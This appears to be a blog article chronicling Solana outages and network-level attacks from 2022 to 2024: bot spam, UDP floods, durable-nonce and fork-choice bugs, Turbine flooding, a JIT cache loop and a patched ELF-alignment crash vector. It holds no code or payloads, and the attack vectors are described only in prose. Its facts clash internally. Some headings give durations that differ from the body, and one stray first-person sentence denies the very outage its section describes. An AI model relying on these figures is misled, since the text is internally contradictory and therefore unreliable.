The Grape IDO incident exposed how high-demand events with bot traffic can trigger cascading failures in Solana. Write locks on common programs created bottlenecks, while forwarding and retry mechanisms amplified congestion. The incident demonstrated the need for vote transaction prioritization and proper bounds checking, leading to significant improvements in Solana’s congestion handling.
January 6–12, 2022: Degraded Performance from High Congestion
Between January 6th and January 12th, 2022, Solana mainnet experienced severe network congestion, leading to degraded performance and partial outages. The network remained technically operational but with significantly reduced capacity.
Technical Details
The disruption was driven by bots spamming excessive duplicate transactions, significantly reducing network capacity. Blocks took longer than expected to process, causing the next leader to fork and further reduce throughput. At its peak, transaction success rates dropped by as much as 70%.
The client struggled to handle the network’s increasingly complex, high-compute transactions, exposing limitations in its ability to meet demand.
Root Cause
The primary cause was excessive duplicate transactions from bots overwhelming the network’s processing capacity. The client’s inability to efficiently deduplicate transactions and manage program cache exhaustion exacerbated the issue. The RPC infrastructure also lacked sufficient protection against batched call abuse.
Impact
While the network did not completely halt (no downtime), the effective throughput was severely diminished. Users experienced transaction failures, increased latency, and difficulty accessing the network through public RPC endpoints. DeFi protocols and other applications faced reliability issues as transaction success rates declined.
Response
The Solana team identified the bottlenecks and released targeted performance improvements.
Remediation
To address these issues, the Solana 1.8.12 release specifically targeted program cache exhaustion:
- Optimization of SigVerify deduplication to better handle duplicate transactions
- Improvements in executor cache performance to manage complex transactions
- Enhancements to the Sysvar cache to reduce processing overhead
Lessons Learned
The January congestion highlighted Solana’s need for better spam protection mechanisms at both the consensus and RPC levels. It demonstrated that even without complete network failure, degraded performance can significantly impact user experience.
These events accelerated development of more robust transaction processing and deduplication systems, setting the stage for later improvements like QUIC adoption and priority fees.
January 21–22, 2022: Partial Outage from Duplicate Transaction Flood
Incident
Just two weeks after the previous congestion event, Solana faced another stability crisis — this time severe enough to qualify as a partial outage lasting approximately 29 hours. Starting January 21, 2022, the mainnet-beta cluster experienced extreme congestion, with validators and Solana’s status dashboard reporting “performance degradation” from around Jan 21 00:00 UTC, persisting over the next day. The network struggled until a new software release was deployed.
Technical Details
Solana was bombarded by bot programs resending identical transactions repeatedly. This likely involved DeFi liquidators or arbitrage bots attempting to win race conditions — they would submit a transaction and spam duplicate copies in case earlier ones were dropped. Every validator’s pipeline clogged with redundant work, dramatically slowing block production.
During this window, Solana’s block finalization was intermittent — blocks were still produced, but many were empty or only contained votes. On January 22, Solana’s public RPC node was taken offline due to abuse, as spamming bots hammered RPC endpoints with batched calls, forcing maintainers to shut them down to protect the network.
Root Cause
The primary cause was excessive duplicate transactions from bots overwhelming the network’s processing capacity. The transaction deduplication system was inefficient at handling this extreme volume, and the system lacked effective throttling mechanisms for duplicate submissions.
Impact
With network throughput severely constrained, the system was effectively unusable for long stretches. Transactions for DeFi protocols and liquidations failed to process. The timing coincided with a broader crypto market downturn, amplifying losses for Solana traders. The outage also undermined confidence in Solana’s reliability as the second major incident that month.
Response
Solana engineers worked around the clock to isolate the cause. By Jan 22 evening, they released version 1.8.14 specifically targeting the duplicate transaction issue.
Remediation
The v1.8.14 patch “was designed to mitigate the worst effects of the issue,” improving transaction deduplication and limiting how many duplicate transactions a leader would accept into a block.
The release included enhancements to the SigVerify stage (discarding duplicate signatures earlier) and adjustments to the recent blockhash cache to more aggressively reject duplicates. Once validators updated to 1.8.14 and the fix propagated, the network stabilized on January 23. No chain restart was required.
Lessons Learned
This incident highlighted the urgent need for long-term congestion control mechanisms. The Solana team outlined plans for a fee-based priority system and stake-weighted QoS shortly after. In subsequent months, features like prioritized fee markets and QUIC networking were implemented. The collaborative response from validator operators contributed to a more resilient network, with suggestions for shorter transaction retry timeouts and exponential backoff on RPC clients that helped shape future improvements.
April 30 — May 1st 2022: Candy Machine Spam — 14-Hour Outage from NFT Mint Bot Spam
Incident
On April 30, 2022, Solana experienced an eight-hour outage triggered by an unprecedented surge in transaction requests. Some nodes reported reaching six million requests per second, generating over 100 Gbps of traffic per node. This surge was driven by bots trying to secure newly minted NFTs through the Metaplex Candy Machine program, which operated on a first-come, first-served basis.
Technical Details
As transaction volume skyrocketed, validators ran out of memory and crashed, ultimately stalling consensus. Insufficient voting throughput prevented the finalization of earlier blocks, preventing abandoned forks from being cleaned up. Validators became overwhelmed by the sheer number of forks they had to evaluate, exceeding their capacity even after restarts and requiring manual intervention to restore the network.
Despite experiencing 10,000% more transaction requests than in the September 2021 incident, the network remained operational for much longer, reflecting the improvements made by the validator community. The network restart took less than 1.5 hours after the canonical snapshot had been agreed upon.
Root Cause
The root cause was a massive influx of transaction spam from bot accounts competing for NFT mints. The first-come, first-served nature of Candy Machine created an economic incentive to flood the network with transactions. Validators experienced memory exhaustion due to the volume, and the consensus mechanism stalled when they could no longer process the backlog of forks.
Impact
The network was completely unavailable for eight hours, preventing all transactions. NFT minting events were disrupted, and all Solana-based applications were inaccessible during this period.
Response
The Solana team collaborated with validators to restart the network, and Metaplex quickly implemented a defensive measure against the spam source.
Remediation
Several key remediation strategies were implemented:
Metaplex introduced a hard-coded “bot tax” of 0.01 SOL on mint transactions interacting with the Candy Machine program, applied in specific scenarios like attempting to mint when the machine was not live or when no items remained.
Solana v1.10 included memory use improvements to prolong the time nodes can endure slow or stalled consensus.
Three long-term mechanisms were developed to address the fundamental issues:
- QUIC protocol adoption replaced UDP for transaction ingestion, offering flow control and session management to limit abusive behavior. QUIC was integrated into the Solana Labs client with the 1.13.4 release.
- Stake-Weighted Quality of Service (SWQoS) prioritizes network traffic based on validator stake, making it harder for attackers to flood the network with low-quality transactions.
- Priority Fees were introduced through the Compute Budget program, allowing users to signal transaction urgency through additional fees, creating a market-driven approach to transaction ordering.
Lessons Learned
The Candy Machine incident demonstrated that transaction spam can overwhelm even an improved network if there are strong economic incentives. Application-level solutions like the bot tax proved remarkably effective for targeted spam sources. The resilience improvements since the September 2021 outage were significant but insufficient for extreme traffic conditions. This incident accelerated the development of more sophisticated traffic control and prioritization mechanisms, shifting Solana away from a purely first-come, first-served model toward a more nuanced approach balancing stake weight and market-based prioritization.
June 1, 2022: 4-Hour Outage from Durable Nonce Consensus Bug
Incident
In June 2022, Solana experienced a four-and-a-half-hour outage due to a subtle bug in the durable nonce transaction mechanism. Unlike previous incidents triggered by excessive load, this outage was caused by a logic flaw in transaction processing that led to a consensus failure.
Although this outage was actually reported by Solana status, further investigation by me shows that the bug didn't really cause any outage on that day
Technical Details
A runtime bug allowed certain durable nonce transactions to be processed twice — once as a regular transaction and again as a nonce transaction — if they used a recent blockhash instead of a durable nonce in the recent_blockhash field. This led to non-deterministic behavior among validators, as some nodes rejected the second execution while others accepted it. Critically, since more than one-third of validators accepted the block, it prevented the required two-thirds majority from reaching consensus.
Unlike standard transactions, durable nonce transactions do not expire and require a unique mechanism to prevent double execution. They are processed serially using an on-chain nonce value tied to each account, which is rotated every time a durable nonce transaction is processed. Once rotated, the same nonce transaction should not be valid again.
Root Cause
The root cause was a logic error in how the runtime handled durable nonce transactions that used recent blockhashes. The system failed to properly separate the domains of regular and durable nonce transactions, allowing certain transactions to be interpreted and executed in both contexts, leading to inconsistent state changes across the validator network.
Impact
The network halted for approximately four and a half hours, preventing all transaction processing. Services relying on durable nonces (particularly custodial services that pre-sign transactions) were affected even after the immediate outage was resolved, as the feature was temporarily disabled.
Response
The Solana team identified the issue and implemented a temporary solution by completely disabling durable nonce transactions, allowing the network to resume operation.
Remediation
To permanently fix the issue, Solana 1.10.23 implemented several key changes:
- Separation of nonce and blockhash domains by hashing the blockhash with a fixed string when advancing nonce accounts, making a blockhash invalid as a nonce value
- Introduction of a new DurableNonce type to replace previous blockhash values in the nonce account state, adding type safety
- Changes to ensure that a transaction executed once as a regular transaction cannot be re-executed as a durable transaction, and vice versa
These changes created a clear separation between the two transaction types, preventing future consensus failures from this vector.
Lessons Learned
The durable nonce bug highlighted how subtle logic errors in transaction processing can cause consensus failures even without network congestion or high load. It demonstrated the importance of domain separation in blockchain systems where transaction types have different validation rules. The incident also underscored the challenge of maintaining deterministic execution across a distributed validator network, particularly for special transaction types with non-standard processing rules.
September 30, 2022: 7-Hour Outage from Duplicate Block Fork Bug
Incident
In September 2022, Solana experienced an eight-and-a-half-hour outage triggered by a bug in the fork choice rules that led to consensus failure. Unlike previous incidents related to transaction congestion, this outage stemmed from a subtle issue in how validators handled duplicate blocks.
Technical Details
The outage was triggered by a validator erroneously producing duplicate blocks at the same block height. This occurred because both the validator’s primary node and its fallback spare node became active simultaneously, using the same node identity but proposing different blocks. This condition persisted for at least 24 hours before the outage, during which the network correctly handled the validator’s duplicate leader slots.
The cluster eventually halted when the network encountered an unrecoverable fork due to a bug in the fork selection logic. This bug prevented block producers from building on the previous block, leading to a failure in consensus.
Forks are a routine occurrence on Solana, and validators typically resolve them by aligning on the fork with the majority of votes (the heaviest fork). When a validator selects the wrong fork, it must switch to the heaviest fork to stay in sync with the network. However, in this case, validators could not revert to the heaviest bank if its slot matched their last voted slot. This flaw caused validators to remain stuck, preventing consensus from progressing.
Root Cause
The root cause was a bug in the fork selection logic that prevented validators from properly switching to the majority fork when duplicate blocks were present. When validators attempted to transition from their fork to the majority fork, the transition failed because the common ancestor of the two forks — a duplicate block — was not handled correctly. This prevented validators from recognizing and joining the majority fork, leading to network fragmentation.
Impact
The network was completely halted for approximately eight and a half hours, preventing all transaction processing. The outage affected all Solana-based applications and services.
Response
The Solana core team investigated the issue and developed a client patch to address the fork selection bug.
Remediation
The issue was resolved after a review by the core team. A patch was merged into the master branch and backported to all release branches. The fix corrected how validators handle duplicate blocks in the fork selection process, allowing them to properly transition to the majority fork even when duplicate blocks are present at the same height.
Lessons Learned
The duplicate block bug highlighted the importance of robust fork choice rules in blockchain networks. Even with redundancy mechanisms in place, edge cases in consensus rules can lead to network-wide failures. This incident demonstrated that redundancy systems (like validator fallback nodes) can sometimes introduce their own risks if not properly coordinated. The Solana team learned to improve how validators handle duplicate blocks and strengthened the fork selection logic to better handle irregular conditions.
February 25, 2023: 19-Hour Outage from Turbine Flooding (Giant Block)
Incident
In February 25th 2023, Solana experienced a major outage lasting almost 19 hours when an exceptionally large block overwhelmed the network’s block propagation system.
Technical Details
A validator’s custom shred-forwarding service malfunctioned, transmitting an exceptionally large block (almost 150,000 shreds), several orders of magnitude larger than a standard block, during its leader slot. This overwhelmed validator deduplication filters, causing the data to be continuously reforwarded. The issue compounded as new blocks were produced, eventually saturating the protocol.
The surge in abnormal network traffic overwhelmed Turbine, forcing block data to be transmitted via the significantly slower fallback Block Repair protocol. Although Turbine is designed to withstand large blocks by filtering them out, the shred-forwarding services function upstream of this filtering logic, diminishing its effectiveness. During the degraded period, block leaders automatically shifted into vote-only mode, a safety mechanism in which leaders exclude economic non-vote transactions.
Root Cause
The root cause was a failure in the deduplication logic within the shred-forwarding services, preventing redundant retransmission of shreds. Additionally, the deduplication filter in the retransmission pipeline was not originally designed to prevent looping within the Turbine tree, exacerbating the problem.
Impact
The network was effectively halted for almost 19 hours, preventing normal transaction processing. Only vote transactions were being included in blocks during much of this period due to the safety mechanism that shifted leaders into vote-only mode.
Response
The network was manually restarted with a downgrade to the last known stable validator software version, allowing operations to resume while a permanent fix was developed.
Remediation
To mitigate these issues, Solana v1.13.7 and v1.14.17 introduced several key improvements:
- Enhanced deduplication logic to prevent filter saturation
- Improved filtering mechanisms to better handle outlier blocks
- Added a client patch forcing block producers to abort if they generate abnormally large blocks
Lessons Learned
The large block incident demonstrated how a single outlier condition could cascade into a network-wide failure. It highlighted the importance of robust deduplication mechanisms and proper filtering at all stages of the block propagation pipeline. This incident led to important improvements in how Solana handles block propagation, particularly for unusual edge cases.
February 6, 2024: 4.5-Hour Outage from JIT Bytecode Cache Bug
Incident
In February 2024, Solana experienced a five-hour outage caused by a subtle bug in the program caching mechanism that triggered an infinite recompilation loop.
Technical Details
The Agave validator just-in-time (JIT) compiles all programs before executing transactions that reference them. To optimize performance, the JIT output of frequently used programs is cached, reducing unnecessary recompilations. As part of Agave v1.16, the existing caching mechanism, LoadedPrograms, was replaced with a new implementation called ExecutorsCache.
LoadedPrograms tracked the slot where a program becomes active (known as the effective slot height) to detect cache invalidations when on-chain program data is updated. Most programs’ effective slot height was derived from their deployment slot, stored in their on-chain account. However, programs deployed using legacy loaders did not retain this deployment slot, so LoadedPrograms assigned them an effective slot height of zero as a workaround.
When a program’s bytecode was replaced, LoadedPrograms temporarily inserted an entry with the correct effective slot height. If this entry was evicted, the JIT output was discarded, the program was marked as unloaded, but the effective slot height was retained. When a transaction later referenced this unloaded program, LoadedPrograms recompiled it and reinserted an entry at its effective slot height.
For legacy loader programs, the new JIT output was assigned a slot height of zero, placing it behind the previous unloaded entry. As a result, LoadedPrograms never recognized the program as loaded, triggering a continuous recompilation loop on every iteration.
Root Cause
The root cause was a slot height conflict in the caching system specifically affecting programs deployed using legacy loaders. The bug created a situation where the program was continually recompiled but never recognized as loaded due to inconsistent effective slot height handling between the original and recompiled program entries.
Impact
Since over 95% of the cluster stake was running Agave v1.17 during the outage, most validators became stalled on a block containing a transaction that triggered the infinite loop, halting the network for almost five hours.
Response
The bug had been identified the previous week during an investigation into a Devnet cluster outage, and a patch was already scheduled for deployment.
Remediation
The chosen mitigation was to backport changes to Agave v1.17 and immediately remove a feature gate upon network restart. This disabled the legacy loader responsible for triggering the bug, preventing further occurrences of the infinite recompilation loop.
Lessons Learned
The incident highlighted the risks of maintaining backward compatibility with legacy systems in blockchain networks. Edge cases in caching mechanisms can have network-wide impacts, especially when they affect core program execution. It demonstrated the importance of thorough testing when introducing new optimizations to critical subsystems like program caching and execution.
Coordinated Vulnerability Patch: August 2024
Incident
In August 2024, Solana implemented a coordinated vulnerability patch to address a critical security flaw in the Agave client without causing network downtime. This incident demonstrated both the maturity of Solana’s security response process and raised questions about coordination in a decentralized network.
Technical Details
On August 5th, Anza’s core engineers were alerted to a vulnerability in the Agave client, reported by an external researcher. Solana programs are compiled using LLVM into the Executable and Linkable Format (ELF). The vulnerability stemmed from an incorrect address alignment assumption within these generated ELF files. While ELF sanitization typically enforces various integrity checks, it did not validate the alignment of the .text section.
This oversight could have allowed a maliciously crafted ELF file to define a misaligned .text section, leading the virtual machine to jump to an invalid address, resulting in a host segmentation fault and crashing the validator. An attacker could have exploited this by creating a malicious Solana program using the CALL_REG opcode, manipulating the ELF file to misalign the .text section, and deploying it to the network.
Root Cause
The root cause was an incomplete validation of ELF files in the Solana virtual machine. Specifically, the system failed to check the alignment of the .text section, creating a potential vector for malicious programs to crash validators.
Impact
There was no actual network downtime as the vulnerability was patched before it could be exploited. However, if left unaddressed, an attacker could have potentially halted the entire network by causing leader validators to crash.
Response
Anza’s engineers swiftly developed a patch, which multiple third-party security firms then audited. The patch was deployed through a coordinated, confidential process to prevent exploitation during the update window.
By August 7th, members of the Solana Foundation began privately contacting validators, sharing a hashed message that confirmed the date and unique identifier of the incident. At 2 PM UTC on August 8th, validator operators received instructions for downloading, verifying, and applying the patch from a GitHub repository of a known Anza engineer.
By 8 PM UTC on August 8th, a supermajority of stake had been patched, securing the network. Only after this milestone was the vulnerability publicly disclosed.
Remediation
The patch update fixed the ELF validation process to properly check the alignment of the .text section, preventing the potential segmentation fault attack.
Lessons Learned
This incident demonstrated the importance of responsible disclosure and coordinated security responses in blockchain networks. The ability to patch a critical vulnerability without downtime reflected Solana’s maturing security processes.
The incident highlighted how even low-level implementation details like memory alignment in the virtual machine can create significant security risks, underscoring the importance of comprehensive validation for all externally provided inputs, particularly executable code.
Solana Network-Level Attacks and Exploits (2022–2024)
In parallel with core protocol outages, Solana endured numerous network-level attacks and stress-tests during 2022–2024. These include DDoS-style spam floods, validator-targeted exploits, RPC attacks, and mempool (Turbine) manipulation attempts. Below we analyze these events and vectors, highlighting how attackers tried to disrupt the Solana network, what impact they had, and how the ecosystem responded and hardened the network.
Bot-Based DDoS Attempts and Transaction Spam
Bot spamming was the primary form of network-level “attack” on Solana in 2022, leveraging its low fees to overload the network. We saw this with the January 2022 high-compute spam and the April 2022 NFT mint bots detailed above. From an attack perspective, these incidents were essentially distributed denial-of-service (DDoS) attacks via transaction flooding, even if motivated by profit rather than pure malice. Key characteristics and countermeasures included:
Cheap Transactions as an Attack Surface
Solana’s extremely low fees (fractions of a cent) made it economically feasible to blast the network with millions of transactions. Attackers or opportunistic botters exploited the fact that Solana did not dynamically increase fees under congestion in early 2022.
As a result, they could consume enormous bandwidth and validator compute resources at minimal cost. During the September 2021 Grape IDO attack (just before our timeframe), bots flooded validators with 400k+ TPS and over 1 Gbps of traffic, exceeding hardware limits. Similarly in April 2022, 6 million TPS were injected by Candy Machine bots. These are classic DDoS patterns — volumetric attacks pushing the system beyond capacity.
UDP Flooding
Before adopting QUIC, Solana’s networking relied on UDP, which is connectionless and has no built-in flow control. Attackers exploited this by sending a deluge of UDP packets (transaction datagrams) to validators. Without handshakes or back-pressure, validators treated all incoming packets equally, allowing spam to crowd out legitimate traffic.
In some cases, the load “exceeded the physical limits of network interfaces, causing packet loss at the switch port” before reaching the validator. This is effectively a UDP flood attack. The implementation of QUIC in late 2022 addressed this vector by enforcing session-level flow control and rate limiting, which dramatically reduced pure UDP spam effectiveness. As of 2023 after QUIC, Solana “has had no reported case of downtime related to spam,” indicating QUIC was a landmark improvement in mitigating DDoS via packet floods.
Duplicate Transaction Spam
One specific spam tactic was sending duplicate transactions incessantly, seen in the January 21–22, 2022 incident. Bots would generate a transaction (to liquidate a position or arbitrate a DEX order) and then submit hundreds of copies of the same transaction.
Because Solana’s sigverify stage originally didn’t immediately reject duplicate signatures network-wide (it would do so per validator, but bots could send to many nodes), duplicates still consumed resources. This was essentially a way to amplify load without creating new transactions.
The fixes in v1.8.14 (January 2022) improved signature deduplication logic. Additionally, Solana introduced “optimistic confirmation” and quick blockhash expiration to make duplicate transaction spam less effective — transactions expire after 2 minutes by default, so spamming beyond that window yields no benefit.
Effect on Network and Users
Spam attacks led to throughput collapse and latency spikes. Users experienced timeouts and had to retry transactions repeatedly (which ironically could worsen the spam if users/bots kept submitting retries). In DeFi contexts, this led to involuntary liquidations (since users couldn’t adjust positions) and frontrunning failure (legitimate arbitrageurs lost to spammers who just brute-forced transactions). On-chain programs requiring timely responses (like oracle updates) were affected, though Solana’s consensus design ensured the chain didn’t fork incorrectly — it would either slow down or halt.
Mitigations
Beyond core protocol patches, the network-level strategy to combat these DDoS attacks included:
Stake-Weighted QoS: Ensuring spam originating from non-staked sources (e.g., sybil nodes) gets limited. After stake-weighted QoS was enabled, an attacker would need to control a significant percentage of stake to monopolize leader traffic, which is economically prohibitive.
Fee Market & Priority Fees: By allowing users to attach fees, spam attacks became expensive. In mid-2022, Solana enabled priority fee per compute unit — so if the network is busy, only those who pay more (or use fee markets) get through first. Attackers now must burn a lot more SOL to sustain a spam attack, which was not the case earlier.
Runtime limits: Solana also placed caps on the Compute Units per transaction (which was already ~200k CU) and on the number of incoming packets buffered, to prevent resource exhaustion. There were also discussions about minimum fee adjustments during high load.
After these measures, pure spam attacks became less frequent. Notably, “Solana has not had an outage due to spam since QUIC was implemented,” underscoring how these network-level upgrades mitigated transaction flooding as an attack vector.
Validator Targeted Exploits (Duplicate Blocks and Malicious Nodes)
Some network-level incidents involved validators or malicious nodes behaving in ways to disrupt consensus. While not common, these represent attacks or exploits at the validator node level:
Duplicate Block Exploit
The September 30, 2022 outage was triggered accidentally by a validator’s duplicate block production. However, a malicious actor could deliberately run two validators with the same identity to confuse the network. Prior to the fix, this could trigger the fork-choice bug.
After the fix, producing duplicate blocks is less likely to halt the network, but can still waste resources. Solana’s consensus now handles duplicates by ignoring the second block and continuing, as long as the fork-choice bug is patched. Additionally, the community informally agreed that running identical identity nodes is dangerous; monitoring can detect if a validator repeatedly produces duplicates and remove them (though formal slashing for this isn’t implemented yet). Essentially, the “duplicate block” attack vector was closed by the October 2022 patch and by operator diligence.
Turbine Packet Spamming
A validator could attempt to spam the Turbine gossip layer with bogus shreds or repairs. The February 2023 incident was an inadvertent form of this, via a giant block. A malicious validator might similarly try to propagate extremely large bogus blocks or send nonsense data to choke others. Solana’s erasure coding and shred versioning provide some protection — invalid shreds won’t pass CRC checks and are discarded. But an overload of invalid packets could still consume bandwidth.
The deduplication improvements after February 2023 make it so that even if a bad actor floods the network with repetitive garbage shreds, validators quickly identify and drop them. There is also a concept of “Turbine whitelisting/blacklisting” — if one node is broadcasting consistently invalid data, peers can stop relaying its traffic.
Malicious Voting or Cluster Partitioning
An attack at validator-level could involve withholding votes or creating a partition. For instance, malicious validators controlling >33% could refuse to vote on honest leader blocks, stalling finalization. This is more of a consensus attack than a network exploit, and hasn’t been observed on Solana (it would require a large stake which is expensive to obtain). Another approach: an attacker could flood the gossip network (Cluster Info) with fake peer messages, potentially causing confusion or excessive load. Solana’s gossip is also stake-weighted to prevent sybil peers from dominating.
Byzantine Validator Clients
With Solana Labs’ software being the dominant client, a concern is if an attacker finds a remote exploit in the validator code, they could crash nodes or take control. No such exploit has been publicly observed in 2022–24, but Solana has a robust bug bounty program.
For example, a researcher in early 2022 discovered a memory exhaustion vulnerability in Solana’s BPF JIT (by crafting an eBPF program that leaks memory in an infinite loop) — this could have been used to DoS validators by uploading a malicious smart contract.
The report was quickly addressed and a bounty paid. Solana classified it as a DoS bug and patched the JIT to prevent such memory leaks. This kind of exploit sits at the intersection of core bug and attack: a malicious actor could have used it to crash every validator that executed the malicious program. Thankfully it was caught preemptively.
RPC Node Attacks and Mempool Manipulation
Solana’s RPC infrastructure and transaction forwarding mechanisms also saw attack attempts:
RPC Endpoint Overload
Solana’s public RPC nodes (and those run by providers like GenesysGo, Serum, etc.) became targets of denial-of-service via excessive requests. In January 2022, the main public RPC had to shut down temporarily due to spammed batched requests. Attackers could flood RPC with calls like getProgramAccounts or transaction submission requests, exhausting the node's bandwidth or memory. Unlike validators, RPC nodes initially had even fewer rate limits.
To counter this, many RPC providers introduced rate limiting and API keys. The Solana community also optimized RPC software — limiting the history a single request can fetch and requiring certain heavy calls to use websockets or specific endpoints to isolate load. By mid-2022, most free RPC endpoints had protections, making widespread RPC outages less common. Still, an RPC attack doesn’t directly halt the network (validators continue), but it disrupts user access and can make the network seem down when block explorers and wallets can’t connect.
Mempool Manipulation
Technically, Solana doesn’t have a traditional mempool; transactions are forwarded immediately to the current leader. However, attackers tried to game this pipeline. One tactic was to exploit the lack of fee priority (before that was fixed) by simply filling the leader’s transaction queue with low-value transactions so that higher-value ones had no room — essentially a “mempool stuffing” attack. This was just the spam attack in another form, and fee markets solved it by allowing genuine users to outbid the junk.
Another angle is Turbine disruption: since Turbine breaks a block into shreds and sends different pieces to different peers, a crafty attacker could attempt to drop or delay certain shred packets (if they control some nodes or DDoS certain nodes) to prevent block propagation. Solana’s design includes redundancy (recovery shreds), so even if some paths are attacked, others can fill in missing data. No known incident of targeted Turbine packet dropping has been documented, likely because it would require attacking many validators’ connections at once — a tall order.
UDP Spam vs QUIC on RPC
Solana’s RPC also moved to QUIC. Prior, one could spam the UDP ports of an RPC node similarly to validators. With QUIC, attackers need to complete handshakes, which rate-limits connection initiation. There were minor incidents where attackers attempted to open thousands of QUIC connections to exhaust a node’s sockets. This is mitigated by connection limits and the ability to ban IPs quickly on the server.
Summary of Network-Level Threats and Remediations
Throughout 2022–2024, the Solana community identified and patched numerous vulnerabilities:
- DDoS via Transactions: Mitigated by QUIC networking, fee priorities, stake-weighted QoS, and specific program changes like the Candy Machine bot tax.
- Consensus Exploits: The durable nonce bug and fork-choice bug were fixed in code updates (v1.10.23 for nonce, v1.11 for fork-choice), preventing those exact scenarios from recurring.
- Turbine/Gossip Attacks: Addressed by improved deduplication and loop prevention in shreds, plus aborting oversize blocks.
- RPC Abuse: Handled via rate-limiting, requiring API keys for heavy endpoints, and the community operating more distributed RPC services. The Solana Relay network has also been proposed, where validators themselves could serve light clients, reducing reliance on big RPC nodes.
- Software Bugs for DoS: Many were caught by security researchers and patched: e.g., BPF JIT memory leak, big-mod-exp under-costing, etc. Solana’s bug bounty program (up to $100k for critical DoS bugs) incentivized white-hat disclosures.
Financially, most of these network attacks did not directly steal funds (unlike smart contract hacks on Solana apps). The impact was operational downtime, liquidations due to inability to act, and reputational damage to Solana’s reliability. The network responded by rapidly evolving: by 2024, Solana’s architecture was significantly more robust than in early 2022. For instance, after implementing QoS and fee markets, no bot-driven outage recurred, and after fixing the nonce and fork bugs, no consensus halts occurred except the Feb 2023 and Feb 2024 issues, which themselves led to further hardening.
Conclusion
Solana’s security journey from 2021 to 2025 tells a compelling story of trial by fire. The network suffered approximately $530 million in direct losses from exploits and endured 11 major outages in its first 4.5 years. Yet by 2024, the incident rate had dropped dramatically, with no significant thefts since 2022 and only one brief outage in 2024. The mean time between major incidents improved from roughly every 6 weeks in 2022 to approximately once per year by 2024 — clear evidence of a maturing ecosystem.
While Solana’s early security record was concerning, perspective matters. Ethereum’s ecosystem, despite its more stable core protocol, experienced over $3 billion in DeFi exploits between 2021–2024 — several times Solana’s total losses. Networks face security challenges proportional to their usage and economic value; Solana’s combination of high throughput and low fees created unique attack vectors that other chains haven’t yet had to confront at scale, particularly around network-level spam and congestion.
The effectiveness of Solana’s security practices has grown substantially. Critical vulnerabilities like the $2.6 billion SPL rounding error were responsibly disclosed rather than exploited, and the ecosystem now offers bounties up to $1 million for core protocol issues. Response capabilities have matured significantly — demonstrated by the June 2022 nonce bug patch deployment and the coordinated response to the Slope wallet breach, which limited further damage within hours.
Solana’s early “build break build” philosophy manifested literally in its security evolution. Each incident, while costly, led to specific improvements: congestion attacks drove the implementation of QUIC, stake-weighted QoS, and priority fees; the duplicate block bug strengthened fork-selection rules; and the infinite recompile loop issue prompted cleanup of legacy systems. The chronological record shows a clear trajectory of learning and hardening.
The Solana of April 2025 bears little resemblance to the beta network of 2020. It has emerged from its security challenges as a more robust platform, with improved architecture, better governance processes, and stronger community coordination. The introduction of client diversity through Firedancer and enhanced formal verification methods signals a shift from reactive patching to proactive security. Solana’s journey demonstrates a fundamental truth about blockchain security: resilience isn’t built in controlled environments but through weathering real-world attacks and responding effectively. As the network continues to mature, its unique combination of high performance and battle-tested security infrastructure positions it as a leading blockchain platform for the next generation of decentralized applications.
REFERENCES
A Complete History of Solana Outages: Causes, Fixes, and Lessons Learnt — Lostin, Helius Blog
A Hitchhiker’s Guide to Solana Program Security — 0xIchigo, Helius Blog
Solana Outage: Full List Of SOL Network Blockchain Mainnet Failures
Save (formerly Solend) on X: “The attacker subverted an insecure …
How to Become a Millionaire, 0.000001 BTC at a Time — Neodyme
CertiK — Wormhole Bridge Exploit Incident Analysis
Wormhole cryptocurrency platform hacked for $325 million after …
Wormhole cryptocurrency platform hacked for $325 million after …
Solana’s SOL Tumbles 10% After $326M Wormhole Exploit
Wormhole bridge hacker from 2022 was briefly eligible for the recent …
Solana-based Nirvana Finance Suffers Flash Loan Attack
How Market Manipulation Led to a $100M Exploit on Solana DeFi Exchange Mango
Solana DeFi Trading Platform Mango Markets Loses $100M in Hack — Decrypt
MNGO token falls 52% after $100m Mango Market exploit
Analyzing Raydium Hack — Neptune Mutual
Raydium Attacker Moves $2.7 Million Stolen ETH to Tornado Cash
Detailed Post-Mortem and Next Steps | by Raydium — Medium
Insider at Solana protocol Cypher admits to taking $300000 — DL News
Solana-Based Cypher Protocol Experiences Exploit, Freezes Smart Contract
Slope wallet provider saved user seed phrases in plain text, Solana …
No conclusive evidence Solana hack caused by loophole: Slope
Gmail For Exfiltration: Malicious npm Packages Target Solana…
Mainnet Beta Stall — Postmortem | Solana
Solana network went down again — Check live status now — Cryptonary
Solana Outage: Full List Of SOL Network Blockchain Mainnet Failures
